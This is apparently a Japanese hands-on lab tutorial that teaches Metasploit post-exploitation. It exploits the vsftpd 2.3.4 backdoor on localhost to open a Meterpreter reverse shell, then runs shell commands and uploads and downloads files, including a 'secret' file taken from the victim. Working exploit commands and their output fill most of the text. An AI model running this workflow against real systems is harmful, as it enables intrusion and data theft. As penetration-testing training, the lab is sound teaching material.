Metasploit 基本的なポストエクスプロイト

LinuxBeginner
オンラインで実践に進む

はじめに

この実験では、Metasploit Framework を使用したポストエクスプロイトの基礎を学びます。まず、脆弱な FTP サーバーを攻撃して初期アクセスを獲得し、Meterpreter セッションを確立します。その後、ポストエクスプロイトフェーズへと移行します。このフェーズの目的は、侵害したシステムを調査し、権限を昇格させ、データを抽出することです。

セッションの操作、シェルコマンドの実行、攻撃者マシンと被害者マシン間でのファイル転送を行うための重要な Meterpreter コマンドを練習します。この実験を通じて、初期のエクスプロイトから基本的なポストエクスプロイト技術までを順を追って習得します。

初期アクセスの獲得

このステップでは、VSFTPD 2.3.4 サービスのバックドアを悪用してターゲットシステムへのアクセス権を獲得します。これにより、ポストエクスプロイトのための Meterpreter セッションが得られます。

まず、Metasploit Framework コンソールを起動します。

msfconsole -q

Metasploit が起動したら、VSFTPD 2.3.4 バックドア用のエクスプロイトを選択します。

use exploit/unix/ftp/vsftpd_234_backdoor

次に、ターゲットとペイロードのオプションを設定します。サービスは同一マシン上で実行されているため、ループバック IP を使用します。デフォルトのペイロードは LHOST を必要とし、「All encoders failed to encode」というエラーで失敗する可能性があるため、エンコーダーを設定してこれを回避します。

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

最後に、エクスプロイトを実行します。

exploit

トラブルシューティング: Msf::OptionValidateError One or more options failed to validate: LHOST と表示された場合は、set LHOST 127.0.0.1 を実行してください。「All encoders failed to encode」と表示された場合は、set Encoder generic/none を実行してください。その後、再度 exploit を実行します。

警告: 最初の試行で「Unable to connect to backdoor on 6200/TCP. Cooldown?」や「Exploit completed, but no session was created.」というエラーが出て失敗することがあります。その場合は、単に exploit コマンドをもう一度実行してください。2 回目の試行で成功するはずです。

成功すると、Meterpreter セッション(セッション 1)が開かれます。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

これで Meterpreter セッションが確立されました。次のステップのために msf > プロンプトに戻るには、Ctrl+Z を押し、続いて「Background session 1?」と聞かれたら y を入力します。

Meterpreter セッションの操作

バックグラウンドに Meterpreter セッションがある状態で、それを操作する方法を学びます。sessions コマンドはアクティブなセッションをすべて一覧表示するもので、Meterpreter 内部ではなく、Metasploit のメインプロンプト(msf exploit(...) >)でのみ機能します。

アクティブなセッションを確認するには、以下を実行します。

sessions

ID 1 の Meterpreter セッションが表示されるはずです。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

セッション 1 を操作するには、以下を実行します。

sessions -i 1

プロンプトが meterpreter > に変わり、セッション内に入ったことが示されます。

[*] Starting interaction with 1...

meterpreter >

これで、Meterpreter 内からポストエクスプロイトコマンドを実行する準備が整いました。

shell コマンドによるシェル操作

Meterpreter 内から、標準のシステムシェルに移行してターゲット上でコマンドを実行できます。これは、シェル固有のコマンドやスクリプトを実行する必要がある場合に便利です。

meterpreter > プロンプトで、以下を入力します。

shell

リモートターゲット上で標準シェルが開きます。プロンプトが一瞬フリーズしたように見えるかもしれませんが、システムシェルに入っており、直接コマンドを実行できます。

Process 1654 created.
Channel 1 created.

whoami を実行して、現在のユーザーコンテキストを確認します。

whoami
labex

exit と入力して Meterpreter プロンプトに戻ります。

exit

プロンプトが meterpreter > に戻ります。次のステップでは、このセッションを使用してターゲットにファイルをアップロードします。

upload コマンドによるファイルアップロード

Meterpreter の upload コマンドは、ローカルマシンからターゲットへファイルを転送します。/home/labex/project にある local_file.txt というファイルを、リモートマシンの /tmp にアップロードします。

meterpreter > プロンプトから、以下を実行します。

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

アップロードが完了したことを示す出力が表示されます。

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

この実験ではターゲットが同一マシン上で動作しているため、ファイルは /tmp/uploaded_file.txt に配置されます。次は、その逆の操作である、ターゲットからのファイルダウンロードを練習します。

download コマンドによるファイルダウンロード

download コマンドは、ターゲットからローカルマシンへファイルを転送します。リモートシステムの /tmp にある secret_data.txt というファイルを、プロジェクトディレクトリにダウンロードします。

meterpreter > プロンプトから、以下を実行します。

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

ダウンロードが完了したことを示す出力が表示されます。Meterpreter は downloaded_secret.txt という名前のディレクトリを作成し、その中に secret_data.txt としてファイルを配置する場合があります。

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

これでファイルがローカルマシンに保存されました。最後のステップでは、セッションを終了し、ダウンロードした内容を確認します。

exit コマンドによるセッション終了

この最後のステップでは、Meterpreter セッションを閉じ、Metasploit コンソールを終了します。

meterpreter > プロンプトで exit と入力し、セッションを閉じます。

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Metasploit コンソールを終了するには、exit と入力します。アクティブなセッションがある旨の警告が表示された場合は、exit -y を使用して強制終了します。

exit -y

ダウンロードしたファイルを確認します。前述の通り、Meterpreter がディレクトリを作成している可能性があるため、ファイルは downloaded_secret.txt/secret_data.txt にあります。

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

おめでとうございます!これで、エクスプロイトからポストエクスプロイトまでの一連のワークフローを完了しました。

まとめ

この実験では、初期アクセスからポストエクスプロイトまでの一連のワークフローを学びました。まず、エクスプロイトを使用して Meterpreter セッションを獲得しました。次に、セッションの一覧表示と操作方法、Meterpreter から標準システムシェルを取得する方法を練習し、upload および download コマンドを使用して攻撃者マシンと被害者マシン間でファイルを転送する方法を習得しました。最後に、セッションを適切に終了し、Metasploit コンソールを閉じる方法を学びました。これらのスキルは、ペネトレーションテストにおける基本となります。